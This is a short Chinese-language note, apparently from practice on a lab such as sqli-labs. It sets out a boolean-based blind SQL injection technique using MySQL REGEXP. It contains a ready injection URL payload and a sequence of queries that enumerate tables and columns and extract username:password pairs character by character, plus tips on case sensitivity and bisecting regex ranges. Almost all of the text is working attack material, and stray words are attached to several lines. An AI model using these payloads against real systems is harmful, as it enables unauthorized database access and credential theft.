index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
这是以前看别人的文章写的exp,以为有点啰嗦,其实能够很直白的写php
select group_concat(table_name) from information_schema.tables where table_schema='security'; select((select group_concat(table_name) from information_schema.tables where table_schema='security') regexp binary '^e'); select group_concat(column_name) from information_schema.columns where table_name='users'; select((select group_concat(column_name) from information_schema.columns where table_name='users') regexp binary '^i'); select group_concat(username,':',password) from security.users; select((select group_concat(username,':',password) from security.users) regexp binary '^D');
几个注意点mysql
1 能够直接用group_concat所有匹配出来sql
2 mysql中用regexp是区分大小写的,只有对取md5的时候不要紧,其余时候要加上binary,不过取数据时就不用group_concat了,用limit一条一条取spa
3 regexp也能够用二分法 '^[a-z]' 到 '^[a-h]'code